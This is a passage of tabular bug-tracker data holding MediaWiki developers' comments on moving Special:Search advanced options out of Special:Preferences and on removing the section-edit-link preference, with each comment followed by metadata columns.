+> > May also want a separate page of 'all settings' or 'advanced settings'
+> 
+> We have it:
+> https://www.mediawiki.org/w/api.
+> php?action=query&meta=userinfo&uiprop=options&format=jsonfm
+
+Oh, neat! Very nice.",,,1401727366,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+257293,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Isarra from comment #27)
+> Ideally we'd have some way to automatically dump settings that appear in the
+> interface elsewhere into main preferences just by telling it 'OY LOOK A
+> SETTING'.
+
+That's exactly what we did.
+
+> 
+> May also want a separate page of 'all settings' or 'advanced settings'
+
+We have it: https://www.mediawiki.org/w/api.php?action=query&meta=userinfo&uiprop=options&format=jsonfm",,,1401727218,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+257286,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Amgine from comment #26)
+> The suggested model is not as simple as Scott Martin describes it. 
+
+Actually, it is. To get to Special:Search you click the magnifying glass icon in the search box.",,,1401727194,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+257279,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Ideally we'd have some way to automatically dump settings that appear in the interface elsewhere into main preferences just by telling it 'OY LOOK A SETTING'.
+
+May also want a separate page of 'all settings' or 'advanced settings' for a lot of them (it could also appear collapsed or something by default - the point is while this is often not the stuff folks will necessarily be after, it should be there somewhere in case they are), sort of like the extra 'config' heap you see in firefox and whatnot, but hopefully somewhat easier to find and use.",,,1401726928,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+257271,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+@Isarra
+
+So you are saying ""both-and"", not ""eliminate one""? This would probably result in duplication of code and maintenance (which is one of my arguments against moving the preferences in the first place.)
+
+The suggested model is not as simple as Scott Martin describes it. Although setting the preference is top menu -> special: preferences -> tab, this is simpler than tools menu -> special:specialpages -> search -> settings because search is not readily found in the special:specialpages page. Yes, *if one has already done a search* you are already on the page, but if you have not, you aren't. I just attempted to land on search from the search box: foo, qux, and quux are redirs, foobar is an article, baz and asdf are disambigs, and foobaz gets me to search.",,,1401726027,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+257264,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I guess there are two things here.
+
+1: Users will primarily care about preferences affecting a specific page when on that specific page. They will be able to most effectively see the effects when on that page, too, so giving them the option to save what works when they're there, seeing that it works, is generally quite useful.
+
+2: Users do tend to expect to find preferences in preferences. A common practice, especially for users who have used the software before but are on a new project, is to go through all of them and quickly configure things how they like them, or think they will. Alternately, if they want to go back and disable something after it behaves weirdly, or if another user tells them to change a setting, the preferences are a likely place to go for that.
+
+Yes.",,,1401722233,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,1
+257255,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I don't understand how clicking into Special:Preferences and then a subpage to set options for Special:SomePage is substantially less complicated than going to Special:SomePage and setting them there the first time you use it. Given that most changes to search options will be made on the fly during search experiences, requiring users to leave the special page, go into preferences and then come back (or change preferences in a new tab then reload the search) is a degradation of the UX.
+
+> Preferences are preferences, please keep them together not scattered around the wiki.
+
+""The wiki"" is a misunderstanding here. ""Preferences"" are operational modes for programs, and the special pages are a collection of small utility programs accompanying the core. There's no objective reason why their mode controls should be grouped together remotely with the core's. It's like having the windscreen wiper speed control as a switch on the engine instead of on the dashboard; old-school advanced users of that peculiarly-designed car may be fine with opening the hood to change it because ""it's always been there"", but that doesn't make doing it easy for everyone. A new car would seem particularly old-fashioned if it were still designed this way, and we should be trying to ensure that MediaWiki lives up to the interface design expectations of modern software.
+
+> Please produce the evidence base for this change.
+
+Pretty much every UX study ever that's shown that the further away you put a control from what it affects, the harder users find it to interact with, or even find in the first place - especially new users. It's the GUI-side version of [[Action at a distance (computer programming)]].
+
+S (speaking only for myself, I'm not a MediaWiki developer)",,,1401721927,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+257247,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Clutter is removing unnecessary items, redundant items, messy items; clutter is not (re)moving a useful and considered page. So since when is a preference page like Search preference considered clutter? It is clear and specific.  Preferences are preferences, please keep them together not scattered around the wiki.
+
+My attitude is not about any other item, please don't presume.
+
+When I am setting up my preferences for a wiki it is very easy to go into preferences and change the settings that I want. Now you are going to make someone go to the search page to do it, off via other links. That is not more helpful.
+
+If the issue that we give (too) much choice to users, and they are confronted about tabs, then produce a simple and an advanced choice plan. Please produce the evidence base for this change.
+
+To the ""maybe I missed ..."". Have you missed the meaning of the word ""consultation"" and maybe seeking a broader opinion? 
+
+That it is considered that bugzilla is a suitable place for working out a social solution is less than ideal, and yet it happens repeatedly. That a few didn't think it is worthwhile consulting with the broader community about this is disappointing.",,,1401720133,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+257239,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #20)
+> It is disappointing that a cabal effect has
+> taken place to what is a significant change to how things are done around
+> here.
+
+I'm sorry you see it that way; I suspect your attitude about this bug is affected by an unrelated change which got merged and reverted in these days after a MediaWiki RfC with a very obscure title. This is nothing like that. 
+
+Maybe you missed something: https://bugzilla.wikimedia.org/showdependencygraph.cgi?id=62559&display=tree&rankdir=LR
+If you did it's not your fault, implementation details discussed in each bug (like this) are just that, details; but it's safe to state that since some time ago there is wide consensus, and a strong push, towards reducing the clutter in MediaWiki by reducing interface complexity in general and Special:Preferences options specifically.",,,1401718043,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+257231,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:
+
+Sucks as UX. Do we really want every special page to be creating and maintaining its own interface for user preferences?",,,1401717246,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+257223,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Really? Preferences are preferences and have belonged in ... umm ... ""Preferences"". Shouldn't such a change have had a wider discussion than between eight and eleven people? Maybe it could have been trialled, and checked through the UI processes. Maybe have used the beta features for testing?
+
+This seems a significant change that really could have had better rigour put to it for an implementation. It is disappointing that a cabal effect has taken place to what is a significant change to how things are done around here.",,,1401716325,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0
+257216,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","There's a very similar move of preferences to page proposed at Bug 48615, for Special:Watchlist. As this change has met approval, it would be great if that bug could see movement - not least because this change will now cause a preference location inconsistency, if you see what I mean.",,,1401713735,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+257210,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Bohdan from comment #16)
+> Also why to do a small change on specific WMF wiki's config it's community
+> must hold 1 weeks discussion but a change concerning to all MediaWiki wikis
+> it being done with no discussion at all?
+
+How is the long comment thread above, and the even longer review list on the change itself, ""no discussion at all""? There was discussion, you just didn't participate.
+
+Config changes are not handled by any of the people who were involved in this, except maybe occasionally. Ask the people who handle them about why they have their requirements.",,,1401661235,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,47,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+257206,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Bohdan from comment #15)
+> Why on Earth I must run through lots of pages to set personal configuration
+
+Lots? As far as I know Special:Preferences contains options for about 3 special pages. It's also less common for users to set preferences for Special:Search without ever having visited it: so the action of tweaking preferences will happen in a visit to Special:Search which would have happened anyway, and the total number of special pages visited should be lower (because it's not necessary to switch to Special:Preferences to save the search options you just selected).",,,1401653038,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+257201,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",Also why to do a small change on specific WMF wiki's config it's community must hold 1 weeks discussion but a change concerning to all MediaWiki wikis it being done with no discussion at all?,,,1401651920,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+257195,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",Why on Earth I must run through lots of pages to set personal configuration for myself on a wiki? I think the best is to keep both central place for changing config in preferences and page specific on appropriate pages.,,,1401651761,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0
+257193,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Thanks for all the help, Chad and Bartosz.
+Let's get bug 31881 fixed in 1.24. :)",,,1401513089,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,47,,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+257191,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 131727 merged by jenkins-bot:
+Save advanced search namespace prefs on Special:Search itself
+
+https://gerrit.wikimedia.org/r/131727",,,1401486201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+257187,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Well, exact colouring is debatable, however we still have to consider colour-blind and blind users. Thus I believe that colour-highlighting is not a good idea.",,,1401292566,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+257181,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #9)
+and
+(In reply to Nemo from comment #10)
+
+Use Colored-highlights, and a Legend, for 
+* These options are the site-defaults
+* These options are your customized defaults
+* These options are selected for just-this-search.
+
+This will also solve the ""what were the defaults? I (might) want to reset!"" issue.
+
+My ugly mockup/napkin-sketches, from an unrelated topic, just to inspire further thinking: 
+https://i.imgur.com/IcEWCzF.png
+https://i.imgur.com/tOJOsXG.png",,,1401232148,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,47,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0
+257177,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","The behaviour is similar to what happens with the login checkbox, I can't imagine it being so confusing. Only few users very used to the wiki will set their preferred namespaces before their first search.
+
+We can grey out the checkbox when the selection wasn't changed, but that can be done on a separate patch IMHO; a visual confirmation is provided by the checkboxes themselves, which are preserved the next time.",,,1399498482,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+257171,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","The idea is good. Now that I see the implementation, it implies you have to perform the search *after* marking that checkbox for it to be saved in your preferences.
+
+Don't get me wrong, I'd also think that you have to mark the checkbox before performing the search, but people not so familiar with web forms may find it not too obvious.
+
+A possible solution to this that I'm thinking of: add a button that on click would change the preferences using an AJAX call, with a visual feedback of the settings being saved.
+
+Also, a checkbox may look weird if you mark it, and after performing the search it remains unchecked (did I checked it when performing the search? or was it totally ignored?).",,,1399497275,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,44,,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+257168,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Created attachment 15314
+Current appearance of the feature
+
+Screenshot of the feature as currently coded. It's just one more checkbox next to a few dozens: the HTML needs to be improved a bit but it's really straightforward from an interface perspective.
+
+//attachment Bug52817.png ignored as obsolete//",,,1399474582,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+257164,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Change 131727 had a related patch set uploaded by Nemo bis:
+[WIP] Save advanced search namespace prefs on Special:Search itself
+
+https://gerrit.wikimedia.org/r/131727",,,1399394092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+257159,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","You'll want to use 'type' => 'api' (which is, admittedly, somewhat misleadingly named). One core preference using this is 'watchlisttoken'.",,,1399319859,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,1
+257157,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","[[mw:Manual:Preferences]] and [[mw:Manual:Hooks/GetPreferences]] are not particularly helpful. To hide preferences from Special:Preferences, should they be made of ""hidden"" type? Added to $saveBlacklist? Spinned off from Preferences.php completely?",,,1399304670,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+257155,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Are we still collecting (re)thoughts or is this bug focused on a specific change? Seems the latter, changing subject.",,,1390658642,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+257153,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",*** Bug 37878 has been marked as a duplicate of this bug. ***,,,1390582522,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,29,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+257151,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to comment #1)
+> I really really like this idea.
+
+Should we set this ticket as for something we'd like to have in the next release (1.22) then?",,,1376595939,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,6,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+257150,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",I really really like this idea.,,,1376589869,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+54811,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","The ""Enable section editing via [edit] links"" user preference should be removed from MediaWiki core.
+
+Users interested in hiding section-edit links can use per-user (or site-wide) CSS.
+
+This should be an easy bug to resolve; marking it with the Bugzilla keyword
+accordingly.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1376416020,1391604424.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-cttzml5ohhludlqqeslk,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+256728,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","**troyengel** wrote:
+
+Got it -- I had to add !important, so this works:
+
+  .mw-editsection { display:none!important; }
+
+I'll get the wiki page updated with the new method, thanks!",,,1404052977,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+256722,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to TE from comment #16)
+> Can one of y'all please post exactly what needs to go where to disable
+> site-wide this feature for anonymous, new and previous (logged in) users so
+> that this change removing the feature can be put back into CSS?
+
+You can try adding the following code to the page ""MediaWiki:Common.css"" on your wiki (untested, but should work...):
+
